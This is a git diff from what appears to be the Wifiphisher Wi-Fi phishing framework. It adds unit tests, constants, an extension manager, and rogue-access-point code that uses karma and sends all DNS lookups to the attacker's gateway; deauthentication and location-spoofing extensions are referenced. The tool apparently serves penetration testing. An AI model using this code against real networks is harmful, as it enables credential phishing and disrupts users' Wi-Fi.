+ card = mock.Mock() + exceptions = iter([pyric.error(22, "interface name exists")]) + + def side_effect(*args): + try: + raise next(exceptions) + except StopIteration: + return + mock_pyric.down.return_value = None + mock_pyric.devadd.side_effect = side_effect + expected = 'wlan2' + actual = self.network_manager.add_virtual_interface(card) + self.assertEqual(actual, expected) - # make both interfaces support AP and monitor - interface0.set_monitor_support(True) - interface1.set_monitor_support(True) + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_is_add_vif_required_one_phy_one_vif_tuple_card_true(self, pyric): + """ + Test only has one card support both monitor and ap + This case should return tuple of card and this the single phy case + """ + args = mock.Mock() + args.internetinterface = None + args.wpspbc_assoc_interface = None + card = mock.Mock() + card.phy = "phy0" + pyric.interfaces.return_value = ["wlan0"] + pyric.iswireless.return_value = True + pyric.getcard.return_value = card + pyric.devmodes.return_value = ["monitor", "AP"] + actual_card, is_single_perfect_card = interfaces.is_add_vif_required(args) + self.assertEqual(actual_card, card) + self.assertEqual(is_single_perfect_card, True) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_is_add_vif_required_one_phy_two_vifs_tuple_none_true(self, pyric): + """ + Test only has one card support both monitor and ap but the number of + virtual interfaces are already greater than 2 + """ - # add the interfaces to the list - network_manager = interfaces.NetworkManager("wlan0", None) - network_manager._interfaces.append(interface0) - network_manager._interfaces.append(interface1) + args = mock.Mock() + args.internetinterface = None + args.wpspbc_assoc_interface = None + card = mock.Mock() + card.phy = "phy0" + pyric.interfaces.return_value = ["wlan0", "wlan1"] + pyric.iswireless.return_value = True + pyric.getcard.return_value = card + pyric.devmodes.return_value = ["monitor", "AP"] + actual_card, is_single_perfect_card = interfaces.is_add_vif_required(args) + self.assertEqual(actual_card, None) + self.assertEqual(is_single_perfect_card, True) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_is_add_vif_required_two_phy_two_vifs_tuple_card_true(self, pyric): + """ + Test the system has two cards but only one phy supports both AP and + monitor + """ - self.assertRaises(interfaces.NoApInterfaceFoundError, - network_manager.get_interfaces) + card0 = mock.Mock() + card0.phy = "phy0" + card1 = mock.Mock() + card1.phy = "phy1" + args = mock.Mock() + args.internetinterface = None + args.wpspbc_assoc_interface = None + card = mock.Mock() + + pyric.interfaces.return_value = ["wlan0", "wlan1"] + pyric.iswireless.return_value = True + + def get_card_side_effect(value): + if value == "wlan0": + return card0 + else: + return card1 + + def devmodes_side_effect(card): + if card.phy == "phy0": + return ["managed"] + else: + return ["monitor", "AP"] + + pyric.getcard.side_effect = get_card_side_effect + pyric.devmodes.side_effect = devmodes_side_effect + actual_card, is_single_perfect_card = interfaces.is_add_vif_required(args) + self.assertEqual(actual_card, card1) + self.assertEqual(is_single_perfect_card, True) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_is_add_vif_required_two_phy_two_vifs_tuple_none_false(self, pyric): + """ + Test the system has two cards and one card support AP and the other + support monitor mode + """ - def test_get_interfaces_invalid_ap_argument(self): + card0 = mock.Mock() + card0.phy = "phy0" + card1 = mock.Mock() + card1.phy = "phy1" + args = mock.Mock() + args.internetinterface = None + + pyric.interfaces.return_value = ["wlan0", "wlan1"] + pyric.iswireless.return_value = True + + def get_card_side_effect(value): + if value == "wlan0": + return card0 + else: + return card1 + + def devmodes_side_effect(card): + if card.phy == "phy0": + return ["AP"] + else: + return ["monitor"] + + pyric.getcard.side_effect = get_card_side_effect + pyric.devmodes.side_effect = devmodes_side_effect + actual_card, is_single_perfect_card = interfaces.is_add_vif_required(args) + self.assertEqual(actual_card, None) + self.assertEqual(is_single_perfect_card, False) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_is_add_vif_required_one_ap_one_internet_none_false(self, pyric): """ - Test get_interfaces method with a invalid AP argument + Test the system has two cards and one card support AP the other card + support monitor but that card is used as internet access """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + card0 = mock.Mock() + card0.phy = "phy0" + card1 = mock.Mock() + card1.phy = "phy1" + args = mock.Mock() + args.internetinterface = "wlan1" + + pyric.interfaces.return_value = ["wlan0", "wlan1"] + pyric.iswireless.return_value = True - # make both interfaces support AP and monitor - interface0.set_ap_support(True) - interface1.set_ap_support(True) + def get_card_side_effect(value): + if value == "wlan0": + return card0 + else: + return card1 - # add the interfaces to the list - network_manager = interfaces.NetworkManager(None, "wlan3") - network_manager._interfaces.append(interface0) - network_manager._interfaces.append(interface1) + def devmodes_side_effect(card): + if card.phy == "phy0": + return ["AP"] + else: + return ["monitor"] - self.assertRaises(interfaces.ApInterfaceInvalidError, - network_manager.get_interfaces) + pyric.getcard.side_effect = get_card_side_effect + pyric.devmodes.side_effect = devmodes_side_effect + actual_card, is_single_perfect_card = interfaces.is_add_vif_required(args) + self.assertEqual(actual_card, None) + self.assertEqual(is_single_perfect_card, False) - def test_get_interfaces_valid_argument(self): + +class TestGenerateRandomAddress(unittest.TestCase): + """ Test generate_random_address function """ + + @mock.patch("wifiphisher.common.interfaces.random") + def test_generate_random_address(self, random_module): """ - Test get_interfaces method with a valid arguments for both jamming and - AP arguments + Test generate_random_address function to make sure that the + values are correctly returned """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + random_module.randint.side_effect = [10, 100, 200] + + expected = "00:00:00:0a:64:c8" + actual = interfaces.generate_random_address() + self.assertEqual(actual, expected) - # make both interfaces support AP and monitor - interface0.set_monitor_support(True) - interface1.set_ap_support(True) - # add the interfaces to the list - network_manager = interfaces.NetworkManager("wlan0", "wlan1") - network_manager._interfaces.append(interface0) - network_manager._interfaces.append(interface1) +class TestIsWirelessInterface(unittest.TestCase): + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_is_wireless_interface_false(self, pyric): + pyric.iswireless.return_value = False + is_wireless = True + interface = 'eth0' + is_wireless = interfaces.is_wireless_interface(interface) + message = interface +\ + " Shows interface is wireless adapter when it is not" + self.assertFalse(is_wireless, message) - expected = ("wlan0", "wlan1") - self.assertEqual(network_manager.get_interfaces(), expected) + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_is_wireless_interface_true(self, pyric): + """ + Test is_wireless_interface and the adatper is wireless card + """ + pyric.iswireless.return_value = True + interface_name = 'wlan0' + actual = interfaces.is_wireless_interface(interface_name) + message = 'Fail to return true when the card is wireless card' + self.assertTrue(actual, message) + + +@mock.patch("wifiphisher.common.interfaces.pyric.pyw") +def test_does_have_mode_has_mode(pyric): + """ + Test does_have_mode function when the interface has the requested + mode + """ + pyric.getcard.return_value = None + pyric.devmodes.return_value = ["AP", "monitor"] + + name = "wlan0" + mode = "AP" + message = "Failed to return True when interface had mode available" + + assert interfaces.does_have_mode(name, mode) == True, message + + +@mock.patch("wifiphisher.common.interfaces.pyric.pyw") +def test_does_have_mode_has_not_mode(pyric): + """ + Test does_have_mode function when the interface doesn't have the + requested mode + """ + pyric.getcard.return_value = None + pyric.devmodes.return_value = ["AP"] + + name = "wlan0" + mode = "monitor" + message = "Failed to return False when interface didn't have mode available" + + assert interfaces.does_have_mode(name, mode) == False, message diff --git a/tests/test_lure10.py b/tests/test_lure10.py new file mode 100644 index 0000000..a86e751 --- /dev/null +++ b/tests/test_lure10.py @@ -0,0 +1,173 @@ +""" This module tests the interface module """ + +import io +import collections +from collections import defaultdict +import unittest +import mock +import wifiphisher.extensions.lure10 as lure10 +import wifiphisher.common.constants as constants + + +class TestLure10(unittest.TestCase): + """ Tests Lure10 class """ + + def setUp(self): + """ Set up the variables """ + + self.pkt = None + self.channel = 6 + + custom_tuple = collections.namedtuple("test", "args target_ap_channel") + custom_tuple1 = collections.namedtuple("test1", "lure10_exploit") + data0 = custom_tuple1("test") + data1 = custom_tuple(data0, self.channel) + data2 = custom_tuple1(None) + data3 = custom_tuple(data2, self.channel) + + self._object0 = lure10.Lure10(data1) + self._object1 = lure10.Lure10(data3) + + def test_get_packet_first_run_no_argument_empty(self): + """ + Test get_packet method on the first run when the + lure10_exploit argument is not given and the expected + result is defaultdict{"*": []} + """ + + actual = self._object1.get_packet(self.pkt) + + expected = defaultdict(list) + expected["*"] = [] + + self.assertEqual(actual, expected) + + def test_get_packet_secon_run_no_argument_emtpy(self): + """ + Test get_packet method on the second run when the + lure10_exploit argument is not given and the expected + result is defaultdict{"*": []} + """ + + self._object1.get_packet(self.pkt) + actual = self._object1.get_packet(self.pkt) + + expected = defaultdict(list) + expected["*"] = [] + + self.assertEqual(actual, expected) + + def test_get_packet_first_run_argument_packet(self): + """ + Test get_packet method on the first run when the lure10_exploit argument + is given and the expected result is the packets + """ + + bssid0 = "11:11:11:11:11:11" + bssid1 = "22:22:22:22:22:22" + + content = io.StringIO(u"{} one\n{} two".format(bssid0, bssid1)) + with mock.patch("wifiphisher.extensions.lure10.open", return_value=content, create=True): + pkts_to_send = self._object0.get_packet(self.pkt) + + result = pkts_to_send["*"] + + # result is the frame list + self.assertEqual(result[0].subtype, 8) + self.assertEqual(result[0].addr1, constants.WIFI_BROADCAST) + self.assertEqual(result[0].addr2, bssid0) + self.assertEqual(result[0].addr3, bssid0) + + self.assertEqual(result[1].subtype, 8) + self.assertEqual(result[1].addr1, constants.WIFI_BROADCAST) + self.assertEqual(result[1].addr2, bssid1) + self.assertEqual(result[1].addr3, bssid1) + + def test_get_packet_second_run_argument_empty(self): + """ + Test get_packet method on the second run when the lure10_exploit argument + is given and the expected result is no packets + """ + + bssid0 = "11:11:11:11:11:11" + bssid1 = "22:22:22:22:22:22" + + content = io.StringIO(u"{} one\n{} two".format(bssid0, bssid1)) + with mock.patch("wifiphisher.extensions.lure10.open", return_value=content, create=True): + first_run_frames = self._object0.get_packet(self.pkt) + + actual = self._object0.get_packet(self.pkt) + # the frames collected from second run should be same as + # in the first run + expected = first_run_frames + + self.assertEqual(actual, expected) + + def test_send_output_before_first_run_with_argument_empty(self): + """ + Test send_output method before the first run of get_packet and the + lure10_exploit argument is given. The expected output is an empty + list + """ + + result = self._object0.send_output() + + self.assertEqual([], result) + + def test_send_output_after_first_run_with_argument_proper(self): + """ + Test send_output method after the first run of get_packet and the + lure10_exploit argument is given. The expected output is the proper + message + """ + + bssid0 = "11:11:11:11:11:11" + bssid1 = "22:22:22:22:22:22" + + content = io.StringIO(u"{} one\n{} two".format(bssid0, bssid1)) + with mock.patch("wifiphisher.extensions.lure10.open", return_value=content, create=True): + self._object0.get_packet(self.pkt) + + result = self._object0.send_output() + expected = ["Lure10 - Spoofing location services"] + self.assertEqual(result, expected) + + def test_send_output_before_first_run_no_argument_empty(self): + """ + Test send_output method before the first run of get_packet and the + lure10_exploit argument is not given. The expected output is an empty + list + """ + + result = self._object1.send_output() + + self.assertEqual([], result) + + def test_send_output_after_first_run_no_argument_empty(self): + """ + Test send_output method after the first run of get_packet and the + lure10_exploit argument is not given. The expected output is an empty + list + """ + + bssid0 = "11:11:11:11:11:11" + bssid1 = "22:22:22:22:22:22" + + content = io.StringIO(u"{} one\n{} two".format(bssid0, bssid1)) + with mock.patch("wifiphisher.extensions.lure10.open", return_value=content, create=True): + self._object1.get_packet(self.pkt) + + self._object1.send_output() + result = self._object1.send_output() + + self.assertEqual([], result) + + def test_send_channels_proper(self): + """ + Test send_channels method to make sure that the expected result of the + target channel is returned + """ + + result = self._object0.send_channels() + + self.assertEqual(result, [self.channel]) diff --git a/tests/test_phishingpage.py b/tests/test_phishingpage.py deleted file mode 100644 index 884e3a8..0000000 --- a/tests/test_phishingpage.py +++ /dev/null @@ -1,113 +0,0 @@ -""" This module tests all the functions in the phishingpage module. """ - -import unittest -import sys -import os - -dir_of_executable = os.path.dirname(__file__) -path_to_project_root = os.path.abspath(os.path.join(dir_of_executable, '..')) -sys.path.insert(0, path_to_project_root) - -import wifiphisher.phishingpage as phishingpage -from wifiphisher.constants import * - - -class TestPhishingTemplate(unittest.TestCase): - """ Tests PhishingTemplate class. """ - - def setUp(self): - """ Sets up the variables for tests. """ - - # setup name, description and data - display_name = "Test" - description = ("Test Description.") - self._template = phishingpage.PhishingTemplate("Test", display_name, - description) - - def test_get_display_name(self): - """ Tests get_display_name method. """ - - self.assertEqual(self._template.get_display_name(), - "Test", "Failed to get the name of the template!") - - def test_str(self): - """ Tests __str__ method. """ - - expected = "Test\n\tTest Description.\n" - - self.assertEqual(self._template.__str__(), expected, - "Failed to get proper __str__ string!") - - def test_get_description(self): - """ Tests get_description method. """ - - expected = "Test Description." - - self.assertEqual(self._template.get_description(), expected, - "Failed to get the correct description!") - - def test_get_path(self): - """ Test get_path method. """ - - expected = PHISHING_PAGES_DIR + "test" - - self.assertEqual(self._template.get_path(), expected, - "Failed to get the correct path!") - - -class TestTemplateManager(unittest.TestCase): - """ Test TemplateManager class. """ - - def setUp(self): - """ Sets up the variables for tests. """ - - self._manager = phishingpage.TemplateManager() - self._template_path = PHISHING_PAGES_DIR - - def test_get_templates(self): - """ Tests get_templates method. """ - - actual = self._manager.get_templates() - - if ("connection_reset" and "office365" and - "firmware-upgrade") not in actual: - self.fail("Failed to get correct templates!") - - def test_find_user_templates(self): - """ Tests find_user_templates method. """ - - name = "new_template" - path = self._template_path + name - - # create a new directory - os.makedirs(path) - - actual = self._manager.find_user_templates() - - if name not in actual: - self.fail("Failed to find a new template!") - - # remove the directory - os.rmdir(path) - - def test_add_user_templates(self): - """ Tests add_user_templates method. """ - - name = "new_template" - path = self._template_path + name - - # create a new directory - os.makedirs(path) - - self._manager.add_user_templates() - - templates = self._manager.get_templates() - - if name not in templates: - self.fail("Failed to add a new template!") - - # remove the directory - os.rmdir(path) - -if __name__ == '__main__': - unittest.main() diff --git a/tox.ini b/tox.ini new file mode 100644 index 0000000..f0e270f --- /dev/null +++ b/tox.ini @@ -0,0 +1,25 @@ +# Tox (http://tox.testrun.org/) is a tool for running tests +# in multiple virtualenvs. This configuration file will run the +# test suite on all supported python versions. To use it, "pip install tox" +# and then run "tox" from this directory. + +[tox] +envlist = py27 + +[testenv:py27] +commands = py.test +deps = + scapy + sphinx + mock + pyric + pytest + dbus-python + +[testenv:docs] +deps = + sphinx + sphinx_rtd_theme +changedir = docs + +commands = sphinx-build -b html -d {envtmpdir}/doctrees . {envtmpdir}/html diff --git a/wifiphisher/data/phishing-pages/plugin_update/update/update.exe b/wifiphisher/common/__init__.py similarity index 100% rename from wifiphisher/data/phishing-pages/plugin_update/update/update.exe rename to wifiphisher/common/__init__.py diff --git a/wifiphisher/common/accesspoint.py b/wifiphisher/common/accesspoint.py new file mode 100644 index 0000000..d8a14d4 --- /dev/null +++ b/wifiphisher/common/accesspoint.py @@ -0,0 +1,262 @@ +""" +This module was made to fork the rogue access point +""" +import os +import time +import subprocess +from roguehostapd import hostapd_controller +from roguehostapd import hostapd_constants +import wifiphisher.common.constants as constants + + +class AccessPoint(object): + """ + This class forks the softAP + """ + + def __init__(self): + """ + Setup the class with all the given arguments + :param self: An AccessPoint object + :type self: AccessPoint + :return: None + :rtype: None + """ + + self.interface = None + self.internet_interface = None + self.channel = None + self.essid = None + self.psk = None + # roguehostapd object + self.hostapd_object = None + self.deny_mac_addrs = [] + + def set_interface(self, interface): + """ + Set the interface for the softAP + :param self: An AccessPoint object + :param interface: interface name + :type self: AccessPoint + :type interface: str + :return: None + :rtype: None + """ + + self.interface = interface + + def add_deny_macs(self, deny_mac_addrs): + """ + Add the deny mac addresses + :param self: An AccessPoint object + :param deny_mac_addrs: list of deny mac addresses + :type self: AccessPoint + :type deny_mac_addrs: list + :return: None + :rtype: None + """ + + self.deny_mac_addrs.extend(deny_mac_addrs) + + def update_black_macs(self): + """ + Update the black mac addresses for hostapd + + :param self: A HostapdConfig object + :type self: HostapdConfig + :return: None + :rtype: None + """ + with open(hostapd_constants.HOSTAPD_CONF_PATH, 'a') as output_fp: + output_fp.write('macaddr_acl=0\n') + output_fp.write('deny_mac_file='+constants.DENY_MACS_PATH+'\n') + with open(constants.DENY_MACS_PATH, 'w') as writer: + for mac_addr in self.deny_mac_addrs: + writer.write(mac_addr+'\n') + + def set_internet_interface(self, interface): + """ + Set the internet interface + :param self: An AccessPoint object + :param interface: interface name + :type self: AccessPoint + :type interface: str + :return: None + :rtype: None + """ + + self.internet_interface = interface + + def set_channel(self, channel): + """ + Set the channel for the softAP + :param self: An AccessPoint object + :param channel: channel number + :type self: AccessPoint + :type channel: str + :return: None + :rtype: None + """ + + self.channel = channel + + def set_essid(self, essid): + """ + Set the ssid for the softAP + :param self: An AccessPoint object + :param essid: SSID for the softAP + :type self: AccessPoint + :type essid: str + :return: None + :rtype: None + """ + + self.essid = essid + + def set_psk(self, psk): + """ + Set the psk for the softAP + :param self: An AccessPoint object + :param psk: passphrase for the softAP + :type self: AccessPoint + :type psk: str + :return: None + :rtype: None + """ + + self.psk = psk + + def start_dhcp_dns(self): + """ + Start the dhcp server + :param self: An AccessPoint object + :type self: AccessPoint + :return: None + :rtype: None + """ + + config = ('no-resolv\n' 'interface=%s\n' 'dhcp-range=%s\n') + + with open('/tmp/dhcpd.conf', 'w') as dhcpconf: + dhcpconf.write(config % (self.interface, constants.DHCP_LEASE)) + + with open('/tmp/dhcpd.conf', 'a+') as dhcpconf: + if self.internet_interface: + dhcpconf.write("server=%s" % (constants.PUBLIC_DNS, )) + else: + dhcpconf.write("address=/#/%s" % (constants.NETWORK_GW_IP, )) + # catch the exception if dnsmasq is not installed + try: + subprocess.Popen( + ['dnsmasq', '-C', '/tmp/dhcpd.conf'], + stdout=subprocess.PIPE, + stderr=constants.DN) + except OSError: + print("[" + constants.R + "!" + constants.W + "] " + + "dnsmasq is not installed!") + raise Exception + + subprocess.Popen( + ['ifconfig', str(self.interface), 'mtu', '1400'], + stdout=constants.DN, + stderr=constants.DN) + + subprocess.Popen( + [ + 'ifconfig', + str(self.interface), 'up', constants.NETWORK_GW_IP, 'netmask', + constants.NETWORK_MASK + ], + stdout=constants.DN, + stderr=constants.DN) + # Give it some time to avoid "SIOCADDRT: Network is unreachable" + time.sleep(1) + # Make sure that we have set the network properly. + proc = subprocess.check_output(['ifconfig', str(self.interface)]) + if constants.NETWORK_GW_IP not in proc: + return False + + def start(self): + """ + Start the softAP + :param self: An AccessPoint object + :type self: AccessPoint + :return: None + :rtype: None + """ + + # create the configuration for roguehostapd + hostapd_config = { + "ssid": self.essid, + "interface": self.interface, + "channel": self.channel, + "karma_enable": 1 + } + if self.psk: + hostapd_config['wpa_passphrase'] = self.psk + + # create the option dictionary + hostapd_options = { + 'debug_level': hostapd_constants.HOSTAPD_DEBUG_OFF, + 'mute': True, + "eloop_term_disable": True + } + + try: + self.hostapd_object = hostapd_controller.Hostapd() + self.hostapd_object.start(hostapd_config, hostapd_options) + except KeyboardInterrupt: + raise Exception + # when roguehostapd fail to start rollback to use the hostapd + # on the system + except BaseException: + hostapd_config.pop("karma_enable", None) + hostapd_options = {} + hostapd_config_obj = hostapd_controller.HostapdConfig() + hostapd_config_obj.write_configs(hostapd_config, hostapd_options) + self.update_black_macs() + + # handle exception if hostapd is not installed in system + try: + self.hostapd_object = subprocess.Popen( + ['hostapd', hostapd_constants.HOSTAPD_CONF_PATH], + stdout=constants.DN, + stderr=constants.DN) + except OSError: + print("[" + constants.R + "!" + constants.W + "] " + + "hostapd is not installed!") + # just raise exception when hostapd is not installed + raise Exception + + time.sleep(2) + if self.hostapd_object.poll() is not None: + print("[" + constants.R + "!" + constants.W + "] " + + "hostapd failed to lunch!") + raise Exception + + def on_exit(self): + """ + Clean up the resoures when exits + :param self: An AccessPoint object + :type self: AccessPoint + :return: None + :rtype: None + """ + + subprocess.call('pkill dnsmasq', shell=True) + try: + self.hostapd_object.stop() + except BaseException: + subprocess.call('pkill hostapd', shell=True) + if os.path.isfile(hostapd_constants.HOSTAPD_CONF_PATH): + os.remove(hostapd_constants.HOSTAPD_CONF_PATH) + if os.path.isfile(constants.DENY_MACS_PATH): + os.remove(constants.DENY_MACS_PATH) + + if os.path.isfile('/var/lib/misc/dnsmasq.leases'): + os.remove('/var/lib/misc/dnsmasq.leases') + if os.path.isfile('/tmp/dhcpd.conf'): + os.remove('/tmp/dhcpd.conf') + # sleep 2 seconds to wait all the hostapd process is + # killed + time.sleep(2) diff --git a/wifiphisher/common/constants.py b/wifiphisher/common/constants.py new file mode 100644 index 0000000..972307e --- /dev/null +++ b/wifiphisher/common/constants.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python2 +# -*- coding: utf-8 -*- +#pylint: skip-file +import os + +dir_of_executable = os.path.dirname(__file__) +path_to_project_root = os.path.abspath( + os.path.join(dir_of_executable, '../../wifiphisher')) +dir_of_data = path_to_project_root + '/data/' + +# Basic configuration +DEV = 0 +DEAUTH_EXTENSION = "deauth" +LURE10_EXTENSION = "lure10" +WPSPBC = "wpspbc" +KNOWN_BEACONS_EXTENSION = "knownbeacons" +HANDSHAKE_VALIDATE_EXTENSION = "handshakeverify" +DEFAULT_EXTENSIONS = [DEAUTH_EXTENSION] +EXTENSIONS_LOADPATH = "wifiphisher.extensions." +PORT = 8080 +SSL_PORT = 443 +CHANNEL = 6 +ALL_2G_CHANNELS = range(1, 14) +WEBSITE = "https://wifiphisher.org" +PUBLIC_DNS = "8.8.8.8" +PEM = dir_of_data + 'cert/server.pem' +PHISHING_PAGES_DIR = dir_of_data + "phishing-pages/" +SCENARIO_HTML_DIR = "html/" +LOGOS_DIR = dir_of_data + "logos/" +LOCS_DIR = dir_of_data + "locs/" +MAC_PREFIX_FILE = dir_of_data + "wifiphisher-mac-prefixes" +KNOWN_WLANS_FILE = dir_of_data + "wifiphisher-known-open-wlans" +POST_VALUE_PREFIX = "wfphshr" +NETWORK_IP = "10.0.0.0" +NETWORK_MASK = "255.255.255.0" +NETWORK_GW_IP = "10.0.0.1" +DHCP_LEASE = "10.0.0.2,10.0.0.100,12h" +WIFI_BROADCAST = "ff:ff:ff:ff:ff:ff" +WIFI_INVALID = "00:00:00:00:00:00" +WIFI_IPV6MCAST1 = "33:33:00:" +WIFI_IPV6MCAST2 = "33:33:ff:" +WIFI_SPANNINGTREE = "01:80:c2:00:00:00" +WIFI_MULTICAST = "01:00:5e:" +NON_CLIENT_ADDRESSES = set([ + WIFI_BROADCAST, WIFI_INVALID, WIFI_MULTICAST, WIFI_IPV6MCAST1, + WIFI_IPV6MCAST2, WIFI_SPANNINGTREE, None +]) +DEFAULT_OUI = '00:00:00' +LINES_OUTPUT = 3 +DN = open(os.devnull, 'w') +INTERFERING_PROCS = [ + "wpa_action", "wpa_supplicant", "wpa_cli", "dhclient", "ifplugd", "dhcdbd", + "dhcpcd", "udhcpc", "avahi-autoipd", "avahi-daemon", "wlassistant", + "wifibox", "NetworkManager", "knetworkmanager" +] +NEW_YEAR = "01-01" +BIRTHDAY = "01-05" + +# Modes of operation +# AP, Extensions +# 2 cards, 2 interfaces +# i) AP, ii) EM +OP_MODE1 = 0x1 +# AP, Extensions and Internet +# 3 cards, 3 interfaces +# i) AP, ii) EM iii) Internet +OP_MODE2 = 0x2 +# AP-only and Internet +# 2 cards, 2 interfaces +# i) AP, ii) Internet +OP_MODE3 = 0x3 +# AP-only +# 1 card, 1 interface +# i) AP +OP_MODE4 = 0x4 +# AP, Extensions w/ 1 vif +# 1 card, 2 interfaces +# i) AP, ii) Extensions +OP_MODE5 = 0x5 +# AP, Extensions and Internet w/ 1 vif +# 2 cards, 3 interfaces +# i) AP, ii) Extensions, iii) Internet +OP_MODE6 = 0x6 +# Advanced and WPS association 0x7 +# 3 cards, 3 interfaces +# i) AP, ii) Extensions, iii) Extensions (Managed) +OP_MODE7 = 0x7 + +# Advanced and WPS association w/ 1 vif support AP/Monitor 0x8 +# 2 cards, 3 interfaces +# i) AP, ii) Extensions, iii) Extensions (Managed) +OP_MODE8 = 0x8 + +AP_RATES = "\x0c\x12\x18\x24\x30\x48\x60\x6c" + +# Console colors +W = '\033[0m' # white (normal) +R = '\033[31m' # red +G = '\033[32m' # green +O = '\033[33m' # orange +B = '\033[34m' # blue +P = '\033[35m' # purple +C = '\033[36m' # cyan +GR = '\033[37m' # gray +T = '\033[93m' # tan + +# Logging configurations +# possible values for debug levels are: +# CRITICAL, ERROR, WARNING, INFO, DEBUG, NOTSET +LOG_LEVEL = 'INFO' +LOG_FILEPATH = 'wifiphisher.log' +LOGGING_CONFIG = { + 'version': 1, + # Defined the handlers + 'handlers': { + 'file': { + 'class': 'logging.handlers.RotatingFileHandler', + 'level': LOG_LEVEL, + 'formatter': 'detailed', + 'filename': LOG_FILEPATH, + 'backupCount': 3, + }, + }, + # fomatters for the handlers + 'formatters': { + 'detailed': { + 'format': '%(asctime)s - %(name) 32s - %(levelname)s - %(message)s' + }, + }, + 'root': { + 'level': 'DEBUG', + 'handlers': [ + 'file', + ], + }, + "loggers": {}, + 'disable_existing_loggers': False +} + +# NM DBus Marcos +NM_APP_PATH = 'org.freedesktop.NetworkManager' +NM_MANAGER_OBJ_PATH = '/org/freedesktop/NetworkManager' +NM_MANAGER_INTERFACE_PATH = 'org.freedesktop.NetworkManager' +NM_DEV_INTERFACE_PATH = 'org.freedesktop.NetworkManager.Device' + +# Phishinghttp +VALID_POST_CONTENT_TYPE = "application/x-www-form-urlencoded" + +# TUI +MAIN_TUI_ATTRS = 'version essid channel ap_iface em phishinghttp args' +AP_SEL_ATTRS = 'interface mac_matcher network_manager args' + +# Fourway handshake extension +CONST_A = "Pairwise key expansion" + +# Rogue AP related +DENY_MACS_PATH = '/tmp/hostapd.deny' + +# Known Beacons +KB_INTERVAL = 20 +KB_BUCKET_SIZE = 60 +KB_BEACON_CAP = 0x2105 diff --git a/wifiphisher/common/extensions.py b/wifiphisher/common/extensions.py new file mode 100644 index 0000000..4635a03 --- /dev/null +++ b/wifiphisher/common/extensions.py @@ -0,0 +1,395 @@ +""" +All logic regarding extensions management +""" + +import time +import importlib +import threading +import logging +import collections +from collections import defaultdict +import scapy.layers.dot11 as dot11 +import scapy.arch.linux as linux +import wifiphisher.common.constants as constants +import wifiphisher.extensions.deauth as deauth_extension + +logger = logging.getLogger(__name__) +is_deauth_cont = True + + +def register_backend_funcs(func): + """ + Register the specific function in extension as backend methods + :param func: The instance function needed to register as backend + method + :type func: instancemethod + :return: None + """ + + func.is_backendmethod = True + return func + + +class ExtensionManager(object): + """ + Extension Manager (EM) defines an API for modular + architecture in Wifiphisher. + + All extensions that lie under "extensions" directory + and are also defined in EXTENSIONS constant are loaded + and leveraged by EM. Each extension can take advantage + of the second wireless card (the first is used for the + rogue AP), aka run in "Advanced mode". + + Each extension needs to be defined as a class that has + the name of the filename in camelcase. For example, + deauth.py would have a Deauth() class. Currently, + extensions need to provide the following methods: + + * __init__(self, data): Basic initialization that + received a dictionary with data from the main engine. + + * get_packet(self, pkt): Method to process individually + each packet captured from the second card (monitor + mode). + + * send_output(self): Method that returns in a list + of strings the entry logs that we need to output. + + * on_exit(self): Method that frees all the used resources + + * each extension can define the backend method as follows: + ex: + + @extensions.register_backend_funcs + def psk_verify(self, *list_data): + return list_data + """ + + def __init__(self, network_manager): + """ + Init the EM object. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: None + :rtype: None + """ + + self._nm = network_manager + self._extensions_str = [] + self._extensions = [] + self._interface = None + self._socket = None + self._should_continue = True + self._packets_to_send = defaultdict(list) + self._channels_to_hop = [] + self._current_channel = "1" + self._listen_thread = threading.Thread(target=self._listen) + self._send_thread = threading.Thread(target=self._send) + self._channelhop_thread = threading.Thread(target=self._channel_hop) + self._shared_data = None + + def get_ui_funcs(self): + """ + Returns a list of all the uimethods. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: List Object + :rtype: List + """ + + ui_funcs = [] + # loop each extension object + for extension in self._extensions: + # loop all the attribute for the extension object + for attr in dir(extension): + if callable(getattr(extension, attr)): + method = getattr(extension, attr) + if hasattr(method, "is_uimethod"): + ui_funcs.append(method) + return ui_funcs + + def get_backend_funcs(self): + """ + Returns a list of all the backend methods + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: dict object + :rtype: dict + """ + + backend_funcs = {} + for extension in self._extensions: + for attrname in dir(extension): + method = getattr(extension, attrname) + if hasattr(method, 'is_backendmethod'): + # store the method name to extension map + backend_funcs[method.__name__] = extension + + return backend_funcs + + def _channel_hop(self): + """ + Change the interface's channel every three seconds + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: None + :rtype: None + .. note: The channel range is between 1 to 13 + """ + + # set the current channel to the ap channel + self._nm.set_interface_channel(self._interface, + int(self._current_channel)) + + # if the stop flag not set, change the channel + while self._should_continue: + for channel in self._channels_to_hop: + if self._current_channel != channel: + self._current_channel = channel + # added this check to reduce shutdown time + if self._should_continue: + try: + self._socket.close() + self._nm.set_interface_channel( + self._interface, int(self._current_channel)) + self._socket = linux.L2Socket( + iface=self._interface) + # extends the channel hopping time to sniff + # more frames + time.sleep(3) + except BaseException: + continue + else: + break + + def set_interface(self, interface): + """ + Sets interface for EM. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :param interface: Interface name + :type interface: String + :return: None + :rtype: None + """ + + self._interface = interface + self._socket = linux.L2Socket(iface=self._interface) + + def set_extensions(self, extensions): + """ + Sets extensions for EM. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :param extensions: List of str extension names + :type extensions: List + :return: None + :rtype: None + """ + + self._extensions_str = extensions + + def init_extensions(self, shared_data): + """ + Init EM extensions. Should be run + when all shared data has been gathered. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :param shared_data: Dictionary object + :type shared_data: Dictionary + :return: None + :rtype: None + """ + + # Convert shared_data from dict to named tuple + shared_data = collections.namedtuple('GenericDict', + shared_data.keys())(**shared_data) + self._shared_data = shared_data + + # Initialize all extensions with the shared data + for extension in self._extensions_str: + mod = 